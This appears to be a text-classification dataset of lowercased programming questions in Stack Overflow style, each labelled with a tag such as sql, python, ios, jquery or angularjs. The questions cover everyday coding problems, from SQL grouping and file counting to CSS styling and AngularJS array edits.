grouping but with keeping all non-null values  let s say i have the table:     <pre><code> id |  name | intolerance   1 |   amy |     lactose   2 | brian |     lactose   3 |   amy |      gluten </code></pre>   and i run this sql query:    <pre><code>select      name      case         when intolerance =  lactose  1     end as lactose      case         when intolerance =  gluten  1     end as gluten from      table </code></pre>   i get:     <pre><code>  name   | lactose | gluten   -------+---------+--------   amy    |    1    |   amy    |         |   1   brian  |    1    | </code></pre>   but if i try to add  group by name   amy won t have a 1 in both columns  because group by only selects the last row of each name. what i want to get instead is this:     <pre><code> name | lactose | gluten ------+---------+---------   amy |       1 |      1 brian |       1 | </code></pre>   how can i get that  is there perhaps a more efficient way to summarize who s allergic to what from the same input  thanks in advance.,sql
what exactly does a server control e.g. a textbox do  around the time it fires its init event   my understanding is a server control s constructor is called by the page s constructor. this happens before page_preinit event. a server control s init event fires after page_preinit. it seems a server control does not do much during the init stage  then why bother giving much emphasis to init stage,asp.net
faster way to count files in python  i want to know how many files are in a folder (specifically a shared network folder on windows if that makes a difference here).    i am using this code right now:   <pre><code>include os.path def countfiles(path):     return len([f for f in os.listdir(path)                 if os.path.isfile(os.path.join(path  f))]) </code></pre>   it works fine when there are a few files in the folder  but it takes a noticably long time in a directory with many files (say 4000). i am running this frequently (files are being added every ~15 seconds) so the slowdown is painful.    in my particular case  i know there aren t any subfolders  so i could skip the <code>os.path.isfile</code> check  but i d like to keep my solution general.  frankly  i am surprised that there isn t a built in # of files function on os.path.,python
which .net-compatible architectures are not little-endian   the <a href= http://msdn.microsoft.com/en-us/library/3kftcaf9.aspx  rel= nofollow noreferrer >bitconverter</a> class has a field <a href= http://msdn.microsoft.com/en-us/library/system.bitconverter.islittleendian.aspx  rel= nofollow noreferrer >islittleendian</a> which  according to the documentation:   <blockquote>    indicates the byte order ( endianness ) in which data is stored in this computer architecture.  </blockquote>   i notice in reflector that the field is hard-coded to true in the static constructor of bitconverter.    so my question is  do i need to take account of islittleendian when using the bitconverter - in other words  are there any .net implementations running on big-endian platforms  and if not  what was the purpose of the field in the first place,.net
i am taking a screenshot in my application. but now i want to take it by specifying the x and y coordinate. i mean taking a screenshot from y=40  now i am posting screen shot in facebook. but i am trying to define screenshot height.     <pre><code>    uigraphicsbeginimagecontext(self.view.bounds.size);    [self.view.layer renderincontext:uigraphicsgetcurrentcontext()];   uiimage *imgpicture = uigraphicsgetimagefromcurrentimagecontext();    uigraphicsendimagecontext();    if ([slcomposeviewcontroller isavailableforservicetype: slservicetypefacebook]) {     slcomposeviewcontroller *controller = [slcomposeviewcontroller        composeviewcontrollerforservicetype:slservicetypefacebook];     [controller setinitialtext :@ post from my iphone ];     [controller addurl:[nsurl urlwithstring:@ https://www.facebook.com/birjesh.sharma.921 ]];     //[controller addimage:[uiimage imagenamed:imgpicture]];    [controller addimage:imgpicture];     [self presentviewcontroller: controller animated:yes completion:nil]; } </code></pre>,ios
working of count/badges in android   i want to know how does notification read and unread functionality works in android. i want to know how the badges number count is set visible and invisible on read and unread message method.     when i create notification in my application then it will create successfully and add with +1 increment on badges. but after read this notification all other unread notification will also disappear. i want only the reeded message notification/count will be disappeared not for all.all other those are not open will be remain unread on badge. how could i did this.    same like as our message box functionality.,android
tool suggest top-level domains  i am creating a tool for our customers to check if their domain name exists. i plan on using the gethostbyname($domain) function. but  i want to pre-program other tld s that would be checked along with their preferred tld (sent through a form). i don t really know where to start here so i included my example below for user suggestions.   <pre><code>    // supported top-level domain names (tlds) $tld[ coming_soon ] =  .realty  .construction ;  $tld[ current ]     =  .com  .org  .us ;      // receive form data and strip tags  $source =   $_server[ http_referer ]; $domain =   strip_tags($_post[ domain_name ]); $tld    =   strip_tags($_post[ tld ]); $req    =   $domain.$tld;      // check client s preferred domain      if ( gethostbyname($req) != $req ) {       echo  dns record found ;      } else {       echo  no dns record found ;     }       // to do: check alternative top-level domains       // to do: somehow search through the $tld array  compare  and give result </code></pre>,php
how to automatically refresh url once in a day on hosting site  i have made a web application that sends email automatically when page loads. but how can i load my default.aspx page automatically once a day on go daddy server where my website is hosted,asp.net
uipagecontrol and scrolling in swift  let jsonarray = [[ name : trend deals   location : india   description : welcome   price : 3345   dealstype : best   type : kitchen   imageurl :  ] [ name : best deals   location : india   description : welcome   price : q78   dealstype : best   type : kitchen1   imageurl :  ] [ name : not best deals   location : india   description : welcome   price : q78   dealstype : best   type : kitchen3   imageurl :  ]] as array>    this is my data  so count is 3. i need to display the data in a such a way that .... [ name : trend deals   location : india   description : welcome   price : 3345   dealstype : best   type : kitchen   imageurl :  ] should display in the view then scrolling i need to display the second data then scrolling i need to display the 3th data in the view.i need to use pagecontrol also.how to implement.,ios
accessing base class variable from main() after initializing through derived class constructor  consider the following code in which base class constructor is initialized through derived class constructor.  when i am trying to access the base class value <code>x</code> from <code>main</code>  it returns 0 instead of 5.  what is wrong with my understanding    <pre><code>#include &lt;iostream&gt; using namespace std;  class base { public:     int x;      base() {}     base(int a)     {         x = a;     } };  class der:public base { public:     der(int y) : base(y)     {         x = y;     } };  int main() {     base *ob1 = new base();     der *ob = new der(5);     cout &lt;&lt; ob1-&gt;x;     return 0; } </code></pre>,c++
problems with viewdidload  i want my sub view controller labeled  navview  to appear off screen when the app is started and animate in when a button is pressed. but when i launch the simulator the  navview  has already appeared.   <pre><code>    - (void)viewdidload {     [super viewdidload];      draw1 = 0;      navview.frame = cgrectmake(-568  0  320  568);      newsview.frame = cgrectmake(0  0  320  568); }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }   - (ibaction)sidenav:(id)sender {      if (draw1 == 0) {         draw1 = 1;         [uiview beginanimations:nil context:nil];         [uiview setanimationduration:0.4];         [uiview setanimationdelay:0.0];         [uiview setanimationcurve:uiviewanimationcurveeaseout];          navview.frame = cgrectmake(0  0  320  568);         newsview.frame = cgrectmake(1136  0  320  568);          [uiview commitanimations];     } else {         draw1 = 0;         [uiview beginanimations:nil context:nil];         [uiview setanimationduration:0.4];         [uiview setanimationdelay:0.0];         [uiview setanimationcurve:uiviewanimationcurveeaseout];          navview.frame = cgrectmake(0  0  320  568);         newsview.frame = cgrectmake(-500  0  320  568);          [uiview commitanimations]; </code></pre>,objective-c
ios  slide  viewcontroller  i m going to build an app that should present  slide  viewcontrollers   as we can find in twitter app for ipad or facebook app. is it available any framework or source code to implement this functionality     thanks.,ios
reload view only when application is opened again  my application has tab bar with one of the tabs having a segmented control on navigation bar. based on segment clicked different view  is displayed using a url. i am calling the url in  viewdidload method.i do not want to use viewwillappear to call the url as it will be called each time the view is displayed. i only want to call the url again whenever user closes the application and comes back.    whats the best way to do this.should i remove the view controller from and reload it again once the application is opened.,iphone
css values not being applied to table row and heading  <code>enter code here</code>i m convinced that css was created just to mess with me.     i have he following in the css file:    <pre><code>.tabletop {     padding: 0px;      margin: 0px;      border: none;      float: left;      width: 100%;      }  .tableth {     height: 15px;    background: #eef3e2;      } </code></pre>   and this in the view:   <pre><code>&lt;table id= editorrows  class= tabletop  cellspacing= 0 &gt;         &lt;tr&gt;                             &lt;th class= tableth &gt;                   &lt;input id= chkall  type= checkbox  onclick= setallcheckboxes(this)  /&gt;                            &lt;/th&gt; </code></pre>   only the formatting for the table is enforced and not the table heading element.  any ideas       entire css as requested:   <pre><code>/* edit tables */ .tabletop {     padding: 0px;      margin: 0px;      border: none;      float: left;      width: 100%;      }  .tableth {     height: 15px;    background: #eef3e2;      }  body {     margin: 0;     padding: 0;     border: 0;     width: 100%;     background: #fff;     min-width: 600px;     font: normal 12px/1.2em verdana  tahoma  arial  helvetica  georgia  sans-serif; } a {     color: #369; } a:hover {     color: #fff;     background: #369;     text-decoration: none; } h1  h2  h3 {     margin: .8em 0 .2em 0;     padding: 5px  2px  5px  2px; } h1 {     font-size: 12.3em; } h2 {     font-size: 1.2em;     color: #369; } h3 {     font-size: 1.1em; } h4 {     font-size: 1em; } p {     margin: .4em 0 .8em 0;     padding: 0; } img {     margin: 5px 0; }  /*fdfcdc*/ table  th  td  {     border: none;      }    /* header styles */ #header {     clear: both;     float: left;     width: 100%;     border-bottom: 1px solid #000;     background-color: #cccccc; } #header p  #header h1  #header h2 {     padding: .4em 15px;     margin: 0;     line-height: 1.2em; } #header h1 {     font-size: 1.2em; } #header h2 {     font-size: 1.1em; } #header h3 {     font-size: 1em;     color: #fe7; }  #navbar ul {     clear: left;     float: left;     width: 100%;     list-style: none;     margin: 0;     padding: 0; }  #navbar ul li {     display: inline;     list-style: none;     margin: 0;     padding: 0; }  #navbar ul li a {     display: block;     float: left;     margin: 0 0 0 1px;     padding: 3px 10px;     text-align: center;     background: #eee;     color: #000;     text-decoration: none;     position: relative;     line-height: 1.3em; }  #navbar ul li a:hover {     background: #369;     color: #fff; } #navbar ul li a.active  navbar ul li a.active:hover {     color: #fff;     background: #000;     font-weight: bold; } #navbar ul li a span {     display: inline-block;     margin: 0;     padding: 10px 0; }  #leftnavbar ul {     clear: left;     float: left;     width: 100%;     list-style: none;     margin: 0;     padding: 0; }  #leftnavbar ul li {     display: inline;     list-style: none;     margin: 0;     padding: 0; }  #leftnavbar ul li a {     display: block;     float: left;     margin: 0 0 0 1px;     padding: 3px 10px;     text-align: center;     /*background: #eee;*/     color: #000;     text-decoration: none;     position: relative;     line-height: 1.3em; }  #leftnavbar ul li a:hover {     background: #369;     color: #fff; } #leftnavbar ul li a.active  #leftnavbar ul li a.active:hover {     color: #fff;     background: #000;     font-weight: bold; } #leftnavbar ul li a span {     display: inline-block;     margin: 0;     padding: 10px 0; }  #header img {     padding-left: 10px; } /* the real status info sub menu */ #statusinfo {     clear: both;     background: #eef3e2;         border-top: 3px solid #666;     margin: 0;     padding: 6px 15px !important;     text-align: right; }  #logindisplay {     clear: both;     background: #eef3e2;         border-top: 3px solid #666;     margin: 0;     padding: 6px 15px !important;     text-align: right; }  .title {     position: fixed;     left: 4px;     top: -1px;     float: left; }  .title h2 { }  /* keep label and input on same line .editor-label-same-line {      float:  ;  }   .editor-field-same-line {   }   .editor-field-input-same-line {   } */  /*border: 1px solid #c0c0c0;  */      /* top menu */ .topmenu {     float: right;     position: relative; }  /* left menu */ .leftmenu {     float: left;     vertical-align: top; } /* column container */ .colmask {     position: relative;      clear: both;     float: left;     width: 100%;      overflow: hidden; /* this chops off any overhanging divs */ } /* common column settings */ .colright  .colmid  .colleft {     /*float: left;*/     /*width: 100%;*/     position: relative;     overflow: hidden; }  .col  .col2  .col3 {     position: relative;     padding: 0 3em 1em 0;     overflow: hidden; }   .leftcol {     float: left;             height: 95%;     width: 20%;     left:  2px;          color: black;     padding: 2pc  2pc  2pc  2pc;     background: #ffffff;  }  .rightcol {     float: left;     height: 95%;     width: 76%;  /*71*/     left: 15px;      color: black;     padding: 2pc  3pc  2pc  5pc;     background: #ffffff;     }   .leftmenu h2 {     line-height:1.2em;     font-size: 1.1em; } .leftmenu h3 {     line-height:1.1em;     font-size: 1em;     color: #667; } .col2 ul {     margin: 5px 0;     list-style: inside;     list-style-type: square; } .col2 ul li {     margin-left: 15px;     padding: 0; } /* form layout elements */ fieldset  {     margin: 1em 0;     padding: 1em;     border: 1px solid #ccc; }  fieldset p  {     margin: 2px 12px 10px 10px; }  fieldset label  {     display: block; }  fieldset label.inline  {     display: inline; }  legend  {     font-size: 1.1em;     font-weight: 600;     padding: 2px 4px 8px 4px; }  input[type= text ]  {     width: 200px;     border: 1px solid #ccc; }  input[type= password ]  {     width: 200px;     border: 1px solid #ccc; } /* footer styles */ #footer {     clear: both;     float: left;     width: 100%;     border-top: 1px solid #000;     border-bottom: 1px solid #000;     background-color: #fdfcdc; } #footer p {     padding: 5px;     margin: 0;     position: relative;     } </code></pre>   edit calling site.css in the _layout.cshtml   <pre><code>&lt;title&gt;@viewbag.title&lt;/title&gt; &lt;link href= @url.content( ~/content/site.css )  rel= stylesheet  type= text/css  /&gt; &lt;script src= @url.content( ~/scripts/jquery-1.5.1.min.js )  type= text/javascript &gt;&lt;/script&gt; </code></pre>,css
getting the relative uri from the absolute uri  i have a system.uri  e.g.    <pre><code>var uri = new uri( http://www.domain.com/foo/bar ); </code></pre>   how do i get only the relative uri out of it:   <pre><code>/foo/bar </code></pre>,.net
shortcut to fully specifying package   suppose you define a class in a.b.c and you would like to reference a class in a.b. is there a shortcut to do so  such as  ..,java
is there a way to prevent a public function being used from another class without using friend classes (c++)  i know friend classes and i want exactly opposite of it.    ex: class a has a public function named f. while other 30 classes have access to f function  class z cannot access to f function.,c++
how do i fix this code to get this output  code:   <pre><code>select vendorid  sum(paymenttotal) as paymentsum from invoices </code></pre>   output:   <pre><code>vendorid    paymentsum 34          1200.12 37          340.00 48          856.92 </code></pre>,sql
ecpected primary expression before  /  token  here is a segment of code where i get my error   <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;ctime&gt; #include &lt;cstdlib&gt;  using namespace std;  #define rand_max #define lwbnd   0.0 #define upbnd   100.0 const int armax = 100; const int numperline = 7; const int armin = 20;  double randdouble()     {     srand(0);     int num = rand();     lwbnd + ( num / ( rand_max / ( upbnd - lwbnd )))      return double;     } </code></pre>   the error occurs in the formula right before the return in the function. it says that it expected a primary funtion before the second  /   right after rand_max. can anyone help me out here,c++
how to return after jquery fadeout has finished <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;meta name= viewport            content= width=device-width  user-scalable=no  initial-scale=1.0  maximum-scale=1.0  minimum-scale=1.0 &gt;     &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt;     &lt;link rel= stylesheet  href= https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css  integrity= sha384-wskhasgfghywdcbwn70/dfybj47jz9qbsmid/irn3ewghxqfzcsftd1lzcfmhktb  crossorigin= anonymous &gt;     &lt;link rel= stylesheet  href= ../static/styles.css &gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js &gt;&lt;/script&gt;     &lt;title&gt;question&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;div class= container-fluid &gt;         &lt;div class= header &gt;             &lt;h1&gt;question {{ question.id }}&lt;/h1&gt;         &lt;/div&gt;         &lt;div class= row &gt;             &lt;div class= col-xs-12 col-md-8 &gt;                 &lt;img class= photo  src= {{ question.image_source }} &gt;             &lt;/div&gt;             &lt;div class= col-xs-12 col-md-4 info &gt;                 &lt;h5&gt;current score: {{ score }}&lt;/h5&gt;                 &lt;hr&gt;                 &lt;form method= post &gt;                     okay {{ user }}  what country is this in  &lt;input type= text  name= country_guess  id= guess  required&gt;                     &lt;button class= btn btn-success &gt;submit&lt;/button&gt;                     &lt;br&gt;                     &lt;span&gt;&lt;/span&gt;                     &lt;textarea id= pointsworth  name= pointsworth  rows= 1 &gt;3&lt;/textarea&gt;                 &lt;/form&gt;                 &lt;div id= message &gt;&lt;/div&gt;                 &lt;div class= wrong_answers &gt;wrong answers:&lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;script&gt;     let tries = 3;     let wronganswers = [];      $(  form  ).submit(function ( event ) {         let guess = $( #guess ).val().touppercase().trim();         if ( guess ===  {{ question.country }} ) {              $(  span  ).text(  correct  ).show().fadeout(3500).done(function() {                 alert( here );                 return;         });         }         if ($.inarray(guess  wronganswers) !== -1){             document.getelementbyid( message ).innerhtml= &lt;p&gt;you\ ve already guessed   + guess +   - try again!&lt;/p&gt; ;         } else {             $( span ).text(  wrong  ).show().fadeout(3500);             wronganswers.push(guess);             tries--;             document.getelementbyid( pointsworth ).innerhtml = tries.tostring();             $(  .wrong_answers  ).append( &lt;p&gt;  + guess +  &lt;/p&gt; );         }         if ( tries === 0) return;         document.getelementbyid( guess ).value=  ;         $( input:text ).focus( function() { $(this).val(  ); });         event.preventdefault();     }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   i am trying to get the  correct  message to show for the full 3.5 secs before it commits the return and reloads the page - any ideas  thank you.,jquery
php syntax error need help to fix  i get the following error:    <em>there is a syntax error on line 2  code hinting may not work until you fix this error</em>    anyone can help me to fix this syntax error    here is code:   <pre><code>$tmpl[ comments ] .=  &lt;div class= box shadow &gt;&lt;/div&gt; &lt;div class= comments &gt; .foreach((array)comments($page_id) as $comment){.          &lt;div class= comment shadow effect &gt;             &lt;p class= left tip  title=  .$comment[username].  said &gt;                 &lt;img class= avatar  src=  .get_gravatar($comment[email] 40).   /&gt;             &lt;/p&gt;             &lt;p class= body right &gt; .nl2br($comment[comment]).              &lt;div class= details small &gt;                 &lt;span class= blue &gt; .timebetween($comment[ time ] time()). &lt;/span&gt; · &lt;a class= red  href= #  onclick= $(this).delete_comment( .$comment[ id ]. ); return false; &gt;remove&lt;/a&gt;             &lt;/div&gt;             &lt;/p&gt;         &lt;/div&gt;      }  &lt;/div&gt; &lt;div class= add_comment &gt;     &lt;div class= write shadow comment &gt;         &lt;p class= left &gt;             &lt;img class= avatar  src= #  /&gt;         &lt;/p&gt;         &lt;p class= textarea right &gt;             &lt;textarea class= left  cols= 40  rows= 5 &gt;&lt;/textarea&gt;             &lt;input class= left  value= send  type= submit  /&gt;         &lt;/p&gt;     &lt;/div&gt;     &lt;a onclick= $(this).add_comment( .$page_id. );return false;  class= right effect shadow  href= # &gt;add comment&lt;/a&gt; &lt;/div&gt; ; </code></pre>   the error is under the line 2 and 13...,php
what is the super retina hd device pixel ratio   apple just announced iphone x which has super retina hd. i know retina s  device pixel ratio is x2 but what is the super retina hd  device pixel ratio.,ios
button to update the text in a field  so i have some things working with an input field and a button that adds a new copy of the field. next i want to update the initial input field with a new question on the click.    html:    <pre><code>&lt;input type= text  name= input  id= input  size= 30  value= what is your name  &gt; &lt;a href= #  id= addscnt &gt;enter&lt;/a&gt;  &lt;div id= namess &gt; &lt;div&gt;     &lt;label for= names &gt;&lt;/label&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   jquery:   <pre><code>var $input = $( #input );  $(function () { var scntdiv = $( #namess ); var i = $( #namess p ).size() + 1;  $( #addscnt ).live( click   function () {     $( &lt;p&gt;&lt;label for= names &gt;&lt;input type= text  name= names_  + i +    id= name  size= 30  value=   + $input.val() +   &gt;&lt;/label&gt;&lt;a href= #  id= remscnt &gt;  remove&lt;/a&gt;&lt;/p&gt; ).appendto(scntdiv);     i++;     return false; });  $( #remscnt ).live( click   function () {     if (i &gt; 1) {         $(this).parents( p ).remove();         i--;     }     return false; }); }); </code></pre>   here s my fiddle: <a href= http://jsfiddle.net/miketrujillo/nv2ta/  rel= nofollow >http://jsfiddle.net/miketrujillo/nv2ta/</a>    i m afraid i ll have to come up with a whole new approach to get this to work.. json and array,jquery
can i create a file and email it without saving in java   i have a file called info.txt that is saved on my system.     and in my java code i have to modify the file name and send it as email attachment.    for example  in my code i need to create a file with the name info_mycompanyname.txt and copy contents from info.txt to info_mycompanyname.txt and email the newly created file info_mycompanyname.txt in attachment without saving it on my file system     this is the scenario. i just want to know is it possible  if so how is it possible. i know how to copy a file from another and how to email and etc...,java
c++ converting between unsigned integers and signed integers  why does the following piece of code write b2 first and a1 then  shouldn t it write both a1  implicit datatype in c++ converts from signed int to unsigned int (higher in hierarchy)   <pre><code>short a=-5; unsigned short b=-5u; if(a==b)     printf( a1 ); else     printf( b2 ); // prints b2  int a2=-5; unsigned int b2=-5u; if(a2==b2)     printf( a1 ); else     printf( b2 ); return 0;  // prints a1 </code></pre>,c++
missing :controller key on routes definition  please check your routes  i just started learning ruby on rails and got stamped on chapter 7 of beginning rails 4 third edition page 151.    i generated controller as follows;  $rails generate controller controllername [actions] [options]. this one worked ok but when i tried to generate a controller for the users    $rails generate controller users. i got the following error message. /routing/mapper.rb:328:in check_part : missing :controller key on routes definition  please check your routes. (argumenterror).    this is what my routes look like    <pre><code>rails.application.routes.draw do                                     get  controller_name/[actions]  get  controller_name/[options] root :to =&gt;  articles#index  resources :articles root :to =&gt;  users#show  </code></pre>   end**    i added the last route (root :to =>  users#show )    stackoverflow community is great. i have been getting a lot of help from the archives.    thanks,ruby-on-rails
how to hide button outline  i have this page with a lot of buttons here: <a href= https://jsfiddle.net/android272/c150305z/  rel= nofollow >https://jsfiddle.net/android272/c150305z/</a>    i have tried every combination of the below code but nothing will get rid of the outline.   <pre><code>*:focus  button  button:focus  button:active {   outline: 0;   outline-width: 0;   outline: none;   outline-style: none; } </code></pre>,css
show hide elements on button click in angular  i am trying to show/hide elements on button click. below are the code which i have written so far. i am facing trouble while writing angular code due to lack of knowledge.    what i want to achieve is: i have 3 text boxes first box will be visible by default as soon user click on <code>+</code> button. second text box will visible and same for third. to remove the boxes i have created a <code>-</code> button. so  as soon user click on <code>-</code> button last box will be hidden.   <pre><code>&lt;div class= col-xs-10 &gt;&lt;div class= topjob_resumetitle  ng-class= {  has-error  : errorcity } &gt; &lt;input name= city  id= city  type= text  class= form-control textbox1 txt-auto  required= required  placeholder= job location*   ng-model= formdata.city &gt; &lt;div class =  errorba  ng-show= errorcity &gt;{{errorcity}}&lt;/div&gt; &lt;/div&gt;&lt;/div&gt; &lt;div class= col-xs-2 &gt; &lt;button class= remove  ng-click= removechoice() &gt;-&lt;/button&gt; &lt;/div&gt;   &lt;button class= addfields  ng-click= addnewchoice() &gt;+&lt;/button&gt;&lt;br&gt;  &lt;div class= col-xs-10 &gt;&lt;div class= topjob_resumetitle  ng-class= {  has-error  : errorcity1 } &gt; &lt;input name= city1  id= city1  type= text  class= form-control textbox1 txt-auto  required= required  placeholder= job location*   ng-model= formdata.city1 &gt; &lt;div class =  errorba  ng-show= errorcity &gt;{{errorcity1}}&lt;/div&gt; &lt;/div&gt;&lt;/div&gt; &lt;div class= col-xs-2 &gt; &lt;button class= remove  ng-click= removechoice() &gt;-&lt;/button&gt; &lt;/div&gt;   &lt;button class= addfields  ng-click= addnewchoice() &gt;+&lt;/button&gt;&lt;br&gt;   &lt;div class= col-xs-10 &gt;&lt;div class= topjob_resumetitle  ng-class= {  has-error  : errorcity } &gt; &lt;input name= city2  id= city2  type= text  class= form-control textbox1 txt-auto  required= required  placeholder= job location*   ng-model= formdata.city2 &gt; &lt;div class =  errorba  ng-show= errorcity2 &gt;{{errorcity2}}&lt;/div&gt; &lt;/div&gt;&lt;/div&gt; &lt;div class= col-xs-2 &gt; &lt;button class= remove  ng-click= removechoice() &gt;-&lt;/button&gt; &lt;/div&gt;   &lt;button class= addfields  ng-click= addnewchoice() &gt;+&lt;/button&gt; </code></pre>   i don t have anything under addnewchoice() and removechoice().,angularjs
how does .net handle config files in all projects of a solution   let s say there is a .net solution with 2 class library projects: one is data access layer and the other is business logic layer. these projects have a <code>app.config</code> file. there s also one web project and one windows forms project and each have their own config file as well i.e <code>app.config</code> and <code>web.config</code> respectively.     now  if i set the windows forms project be the startup project  run it and inspect the settings via <code>configurationsettings.appsettings.get( some-key )</code>  it turns out that i have access only to the windows forms settings which implies i have to put all of the application settings in this file. also  i need to duplicate the setting in the <code>web.config</code> (i m still not sure this is the expected behaviour or i had to do things differently. can somebody shed any light here )    my questions is: does it make any sense to distribute the application configurations in related projects (for example keeping database connection string in data access project config file)      if yes  how do we access the settings of one assembly from another one then     if no  why does .net create config file for non-executable projects at all     third question: is there a neat and easy way to consolidate config files,.net
count only the class name after the <ul id= pages >  i have this code in my page:   <pre><code>       &lt;div id= content_1  class= select_more &gt;         &lt;div&gt;name: &lt;input type= text  name= fullname /&gt;&lt;/div&gt;         &lt;div&gt;age: &lt;input type= text  name= age /&gt;&lt;/div&gt;         &lt;div&gt;address: &lt;input type= text  name= address /&gt;&lt;/div&gt;     &lt;/div&gt;      &lt;ul id= my_tabs &gt;         &lt;a href= javascript:select_page( 2_ ); &gt;page 1&lt;/a&gt;         &lt;a href= javascript:select_page( 3_ ); &gt;page 2&lt;/a&gt;         &lt;a href= javascript:select_page( 4_ ); &gt;page 3&lt;/a&gt;     &lt;/ul&gt;     &lt;div id= content_2  class= select_more &gt;         &lt;h3&gt;page 1&lt;/h3&gt;         &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipisicing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum&lt;/p&gt;     &lt;/div&gt;     &lt;div id= content_3  class= select_more &gt;         &lt;h3&gt;page 2&lt;/h3&gt;         &lt;p&gt;sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium  totam rem aperiam  eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit  sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. neque porro quisquam est  qui dolorem ipsum quia dolor sit amet  consectetur  adipisci velit  sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. ut enim ad minima veniam  quis nostrum exercitationem ullam corporis suscipit laboriosam  nisi ut aliquid ex ea commodi consequatur  quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur  vel illum qui dolorem eum fugiat quo voluptas nulla pariatur &lt;/p&gt;     &lt;/div&gt;     &lt;div id= content_4  class= select_more &gt;         &lt;h3&gt;page 3&lt;/h3&gt;         &lt;p&gt;at vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident  similique sunt in culpa qui officia deserunt mollitia animi  id est laborum et dolorum fuga. et harum quidem rerum facilis est et expedita distinctio. nam libero tempore  cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus  omnis voluptas assumenda est  omnis dolor repellendus. temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. itaque earum rerum hic tenetur a sapiente delectus  ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat&lt;/p&gt;     &lt;/div&gt; </code></pre>   i have this code in my jquery:   <pre><code>    jquery( .select_more ).each(function() {         pageid = this.id.replace( content_     );     }); </code></pre>   i only need to pick up select_more classes after the . the select_more class before the  should be ignored in my foreach. currently  it picks up all select_more classes in the page.    i tried doing this but this didn t work too. it still counts all select_more in the pages.   <pre><code>    if( jquery( ul#my_tabs ).length )     {     jquery( .select_more ).each(function() {         pageid = this.id.replace( content_     );     });      } </code></pre>,jquery
python password checker  i need some help figuring out how to make a function that checks a string for a bunch of conditions.   <ul> <li> passwords must    be  at  least   5   characters  long </li> <li> passwords must contain at least one upper case letter </li> <li> passwords must    contain at  least   two numbers </li> <li> passwords may not contain the characters   e  or   e  </li> <li> passwords must    include at  least   one special symbol:     !   @   #   $   %   ^   &amp; </li> </ul>   right now this is all that i have   <pre><code>def passwordchecker(password):                     caps = sum(1 for c in password if c.isupper())     nums = sum(1 for c in password if c.isdigit())     symb = any(c in password for c in  !@#$%^&amp; )     note = any(c in password for c in  ee )     if len(password) &lt;5:         return false     elif caps &lt; 1:         return false     elif nums &lt; 1:         return false     elif symb == false:         return false     else:         return true </code></pre>   edit**    just realized that i have to check also if there are commonly used passwords like  password  or  111111  and i dont really know about how i would approach this.,python
how to use .includes in angularjs  i have an array of employees and i am doing a program on angular route. i want to edit the fields of the employees and save it in the employees array again. i have tried to use indexof and .includes  for searching the element to be edited in array in a function editemployee. but the error is  employees[4].empid.includes is not a function  and when i use indexof i again get the same error .... indexof is not a function. please help me locate the  element as well as edit it. ((employees[4][ empid ]).includes({empid:employeeid}))) --> error     and    ((employees).includes({empid:employeeid}))) --> false   even though the id is present    <strong>app.js</strong>   <pre><code> angular.module( swabhav.employee )   .factory( employeeservice  [ $log  function($log){      var employees=[{ empid :1  name : john   location : mumbai }                     { empid :2  name : nikita   location : mumbai }                     { empid :3  name : saurab   location : pune }                      { empid :4  name : ankita   location : bangalore }                      { empid :5  name : harsh   location : chennai }                      { empid :6   name : geeta   location : vellore }];      var obj={};      obj.editemployee=function(employeeid employeename employeelocation){        $log.log( inside editemployee );        $log.log( john empid= +employees[0][ empid ]);         $log.log( employeeid =  +employeeid +  empname = +employeename +      emploc =  + employeelocation)         $log.log( (employees.includes({empid:employeeid})) + ((employees[4]    [ empid ]).includes({empid:employeeid})))         $log.log(employees[5][ empid ].indexof(employeeid))         angular.foreach(employees function(value key){            if(employees.includes({empid:employeeid})){                  $log.log( edit employee =  )                  employees[key][ empid ]=employeeid;                 employees[key][ name ]=employeename;                 employees[key][ location ]=employeelocation;              }          })         return employees;      }    return obj    } </code></pre>   <strong>controller</strong>   <pre><code>     angular.module( swabhav.employee )            .controller( editcontroller         [ $scope   employeeservice   $log   $window   $routeparams              function($scope employeeservice $log $window $routeparams){              $log.log( inside edit controller )              $scope.employeedata=employeeservice.displayall();              $log.log( $scope.employeedata =  + $routeparams.empid )             $scope.empidvalue = $routeparams.empid;                $log.log( empidvalue= + $scope.empidvalue)               $scope.editdisplay=                  employeeservice.getbyid($scope.empidvalue);             $log.log($scope.editdisplay[0][ name ]);           $scope.empnamevalue=$scope.editdisplay[0][ name ];           $scope.emplocationvalue=$scope.editdisplay[0][ location ]                 $scope.onedit= function(ename elocation){              $log.log( inside edit );                   //   $scope.id=empid;                     $scope.name=ename;                     $scope.location=elocation   employeeservice.editemployee($scope.empidvalue $scope.name $scope.location);                     $window.location.href =  #/home ;                 }               }]) </code></pre>,angularjs
